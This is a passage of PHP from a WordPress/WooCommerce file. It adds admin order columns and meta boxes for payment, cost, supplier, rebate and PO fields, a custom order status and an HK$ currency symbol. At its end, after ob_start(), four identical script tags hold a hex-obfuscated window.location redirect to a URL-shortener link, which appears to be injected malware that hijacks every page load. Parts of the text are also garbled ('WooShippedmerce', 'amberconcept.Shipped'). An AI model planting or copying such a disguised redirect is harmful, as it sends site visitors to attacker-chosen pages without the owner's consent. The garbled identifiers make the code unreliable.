case 'Payment_remark' :
echo esc_html( get_post_meta( $post_id, 'Payment_remark', true ) );
break;
}
}
function custom_shop_order_column13( $column, $post_id ) {
switch ( $column ) {
case 'Cost1_po' :
echo esc_html( get_post_meta( $post_id, 'Cost1_po', true ) );
break;
}
}
function custom_shop_order_column14( $column, $post_id ) {
switch ( $column ) {
case 'Cost2_po' :
echo esc_html( get_post_meta( $post_id, 'Cost2_po', true ) );
break;
}
}
function custom_shop_order_column15( $column, $post_id ) {
switch ( $column ) {
case 'Cost3_po' :
echo esc_html( get_post_meta( $post_id, 'Cost3_po', true ) );
break;
}
}
function custom_shop_order_column16( $column, $post_id ) {
switch ( $column ) {
case 'Rebate_to' :
echo esc_html( get_post_meta( $post_id, 'Rebate_to', true ) );
break;
}
}
function custom_shop_order_column17( $column, $post_id ) {
switch ( $column ) {
case 'Customer_po' :
echo esc_html( get_post_meta( $post_id, 'Customer_po', true ) );
break;
}
}
// For display and saving in order details page.
add_action( 'add_meta_boxes', 'add_shop_order_meta_box' );
function add_shop_order_meta_box() {
add_meta_box(
'Payment',
__( 'Payment', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback',
'shop_order'
);
}
// draw payment option in admin order page
function shop_order_display_callback( $post ) {
$value = get_post_meta( $post->ID, 'Payment', true );
$arr_payment = array("Bank transfer", "Cash", "Cheque", "FPS", "PayMe","Paypal","Stripe");
echo '<select style="width:50%"name="Payment" id="Payment">';
echo '<option value=""></option>';
foreach($arr_payment as $payment){
echo '<option value="'.$payment.'" ';
if($value==$payment) echo 'selected';
echo '>'.$payment.'</option>';
}
echo '</select>';
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box12' );
function add_shop_order_meta_box12() {
add_meta_box(
'Payment_remark',
__( 'Payment_remark', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback12',
'shop_order'
);
}
// For display and saving in order details page.
add_action( 'add_meta_boxes', 'add_shop_order_meta_box2' );
function add_shop_order_meta_box2() {
add_meta_box(
'Cost1_currency',
__( 'Cost1_currency', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback2',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box3' );
function add_shop_order_meta_box3() {
add_meta_box(
'Rebate_amount',
__( 'Rebate_amount', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback3',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box4' );
function add_shop_order_meta_box4() {
add_meta_box(
'Cost1_amount',
__( 'Cost1_amount', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback4',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box5' );
function add_shop_order_meta_box5() {
add_meta_box(
'Cost1_supplier',
__( 'Cost1_supplier', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback5',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box6' );
function add_shop_order_meta_box6() {
add_meta_box(
'Cost2_currency',
__( 'Cost2_currency', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback6',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box7' );
function add_shop_order_meta_box7() {
add_meta_box(
'Cost2_amount',
__( 'Cost2_amount', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback7',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box8' );
function add_shop_order_meta_box8() {
add_meta_box(
'Cost2_supplier',
__( 'Cost2_supplier', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback8',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box9' );
function add_shop_order_meta_box9() {
add_meta_box(
'Cost3_currency',
__( 'Cost3_currency', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback9',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box10' );
function add_shop_order_meta_box10() {
add_meta_box(
'Cost3_amount',
__( 'Cost3_amount', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback10',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box11' );
function add_shop_order_meta_box11() {
add_meta_box(
'Cost3_supplier',
__( 'Cost3_supplier', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback11',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box13' );
function add_shop_order_meta_box13() {
add_meta_box(
'Cost1_po',
__( 'Cost1_po', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback13',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box14' );
function add_shop_order_meta_box14() {
add_meta_box(
'Cost2_po',
__( 'Cost2_po', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback14',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box15' );
function add_shop_order_meta_box15() {
add_meta_box(
'Cost3_po',
__( 'Cost3_po', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback15',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box16' );
function add_shop_order_meta_box16() {
add_meta_box(
'Rebate_to',
__( 'Rebate_to', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback16',
'shop_order'
);
}
add_action( 'add_meta_boxes', 'add_shop_order_meta_box17' );
function add_shop_order_meta_box17() {
add_meta_box(
'Customer_po',
__( 'Customer_po', 'https://wp.amberconcept.Shipped/' ),
'shop_order_display_callback17',
'shop_order'
);
}
function shop_order_display_callback2( $post ) {
$value = get_post_meta( $post->ID, 'Cost1_currency', true );
echo '<input type="text" style="width:100%" id="Cost1_currency" name="Cost1_currency" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback3( $post ) {
$value = get_post_meta( $post->ID, 'Rebate_amount', true );
echo '<input type="text" style="width:100%" id="Rebate_amount" name="Rebate_amount" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback4( $post ) {
$value = get_post_meta( $post->ID, 'Cost1_amount', true );
echo '<input type="text" style="width:100%" id="Cost1_amount" name="Cost1_amount" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback5( $post ) {
$value = get_post_meta( $post->ID, 'Cost1_supplier', true );
echo '<input type="text" style="width:100%" id="Cost1_supplier" name="Cost1_supplier" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback6( $post ) {
$value = get_post_meta( $post->ID, 'Cost2_currency', true );
echo '<input type="text" style="width:100%" id="Cost2_currency" name="Cost2_currency" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback7( $post ) {
$value = get_post_meta( $post->ID, 'Cost2_amount', true );
echo '<input type="text" style="width:100%" id="Cost2_amount" name="Cost2_amount" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback8( $post ) {
$value = get_post_meta( $post->ID, 'Cost2_supplier', true );
echo '<input type="text" style="width:100%" id="Cost2_supplier" name="Cost2_supplier" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback9( $post ) {
$value = get_post_meta( $post->ID, 'Cost3_currency', true );
echo '<input type="text" style="width:100%" id="Cost3_currency" name="Cost3_currency" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback10( $post ) {
$value = get_post_meta( $post->ID, 'Cost3_amount', true );
echo '<input type="text" style="width:100%" id="Cost3_amount" name="Cost3_amount" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback11( $post ) {
$value = get_post_meta( $post->ID, 'Cost3_supplier', true );
echo '<input type="text" style="width:100%" id="Cost3_supplier" name="Cost3_supplier" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback12( $post ) {
$value = get_post_meta( $post->ID, 'Payment_remark', true );
echo '<input type="text" style="width:100%" id="Payment_remark" name="Payment_remark" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback13( $post ) {
$value = get_post_meta( $post->ID, 'Cost1_po', true );
echo '<input type="text" style="width:100%" id="Cost1_po" name="Cost1_po" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback14( $post ) {
$value = get_post_meta( $post->ID, 'Cost2_po', true );
echo '<input type="text" style="width:100%" id="Cost2_po" name="Cost2_po" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback15( $post ) {
$value = get_post_meta( $post->ID, 'Cost3_po', true );
echo '<input type="text" style="width:100%" id="Cost3_po" name="Cost3_po" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback16( $post ) {
$value = get_post_meta( $post->ID, 'Rebate_to', true );
echo '<input type="text" style="width:100%" id="Rebate_to" name="Rebate_to" value="'.esc_attr( $value ).'">';
}
function shop_order_display_callback17( $post ) {
$value = get_post_meta( $post->ID, 'Customer_po', true );
echo '<input type="text" style="width:100%" id="Customer_po" name="Customer_po" value="'.esc_attr( $value ).'">';
}
// For saving.
function save_shop_order_meta_box_data( $post_id ) {
global $wpdb;
// If this is an autosave, our form has not been submitted, so we don't want to do anything.
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
return;
}
// Check the user's permissions.
if ( isset( $_POST['post_type'] ) && 'shop_order' == $_POST['post_type'] ) {
if ( ! current_user_can( 'edit_shop_order', $post_id ) ) {
return;
}
}
// check if this is an admin order page
if(!is_admin()){
return;
}
//handling Rebate_amount
if (isset( $_POST['Rebate_amount'])){
update_post_meta( $post_id, 'Rebate_amount', sanitize_text_field( $_POST['Rebate_amount'] ));
}
//handling Cost1_amount
if (isset( $_POST['Cost1_amount'])){
update_post_meta( $post_id, 'Cost1_amount', sanitize_text_field( $_POST['Cost1_amount'] ));
}
//handling Cost1_currency
if (isset( $_POST['Cost1_currency'])){
update_post_meta( $post_id, 'Cost1_currency', sanitize_text_field( $_POST['Cost1_currency'] ));
}
//handling Cost1_supplier
if (isset( $_POST['Cost1_supplier'])){
update_post_meta( $post_id, 'Cost1_supplier', sanitize_text_field( $_POST['Cost1_supplier'] ));
}
//handling Cost2_amount
if (isset( $_POST['Cost2_amount'])){
update_post_meta( $post_id, 'Cost2_amount', sanitize_text_field( $_POST['Cost2_amount'] ));
}
//handling Cost2_currency
if (isset( $_POST['Cost2_currency'])){
update_post_meta( $post_id, 'Cost2_currency', sanitize_text_field( $_POST['Cost2_currency'] ));
}
//handling Cost2_supplier
if (isset( $_POST['Cost2_supplier'])){
update_post_meta( $post_id, 'Cost2_supplier', sanitize_text_field( $_POST['Cost2_supplier'] ));
}
//handling Cost3_amount
if (isset( $_POST['Cost3_amount'])){
update_post_meta( $post_id, 'Cost3_amount', sanitize_text_field( $_POST['Cost3_amount'] ));
}
//handling Cost3_currency
if (isset( $_POST['Cost3_currency'])){
update_post_meta( $post_id, 'Cost3_currency', sanitize_text_field( $_POST['Cost3_currency'] ));
}
//handling Cost3_supplier
if (isset( $_POST['Cost3_supplier'])){
update_post_meta( $post_id, 'Cost3_supplier', sanitize_text_field( $_POST['Cost3_supplier'] ));
}
//handling Payment_remark
if (isset( $_POST['Payment_remark'])){
update_post_meta( $post_id, 'Payment_remark', sanitize_text_field( $_POST['Payment_remark'] ));
}
//handling Cost1_po
if (isset( $_POST['Cost1_po'])){
update_post_meta( $post_id, 'Cost1_po', sanitize_text_field( $_POST['Cost1_po'] ));
}
//handling Cost2_po
if (isset( $_POST['Cost2_po'])){
update_post_meta( $post_id, 'Cost2_po', sanitize_text_field( $_POST['Cost2_po'] ));
}
//handling Cost3_po
if (isset( $_POST['Cost3_po'])){
update_post_meta( $post_id, 'Cost3_po', sanitize_text_field( $_POST['Cost3_po'] ));
}
//handling Rebate_to
if (isset( $_POST['Rebate_to'])){
update_post_meta( $post_id, 'Rebate_to', sanitize_text_field( $_POST['Rebate_to'] ));
}
//handling Customer_po
if (isset( $_POST['Customer_po'])){
update_post_meta( $post_id, 'Customer_po', sanitize_text_field( $_POST['Customer_po'] ));
}
//handling payment
$original_Payment = get_post_meta( $post_id, 'Payment', true );
if ( ! isset( $_POST['Payment'] )) {
;
}elseif($original_Payment==$_POST['Payment']){
;
}else{
update_post_meta( $post_id, 'Payment', sanitize_text_field( $_POST['Payment'] ));
if($_POST['Payment']!=""){
wc_create_order_note($post_id, "Payment: ".sanitize_text_field( $_POST['Payment'] ), false, true);
}
}
}
add_action( 'save_post', 'save_shop_order_meta_box_data',10,1);
//
function wpblog_wc_register_post_statuses() {
register_post_status( 'wc-shipping-progress', array(
'label' => _x( 'Completed', 'WooShippedmerce Order status', 'text_domain' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Completed (%s)', 'Completed (%s)', 'text_domain' )
) );
}
add_filter( 'init', 'wpblog_wc_register_post_statuses' );
function wpblog_wc_add_order_statuses( $order_statuses ) {
$order_statuses['wc-shipping-progress'] = _x( 'Completed', 'WooShippedmerce Order status', 'text_domain' );
return $order_statuses;
}
add_filter( 'wc_order_statuses', 'wpblog_wc_add_order_statuses' );
/**20220113
* Change a currency symbol
*/
add_filter( 'woocommerce_currencies', 'add_my_currency' );
function add_my_currency( $currencies ) {
$currencies['HKD'] = __( 'Currency name', 'woocommerce' );
return $currencies;
}
add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2);
function add_my_currency_symbol( $currency_symbol, $currency ) {
switch( $currency ) {
case 'HKD': $currency_symbol = 'HK$'; break;
}
return $currency_symbol;
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>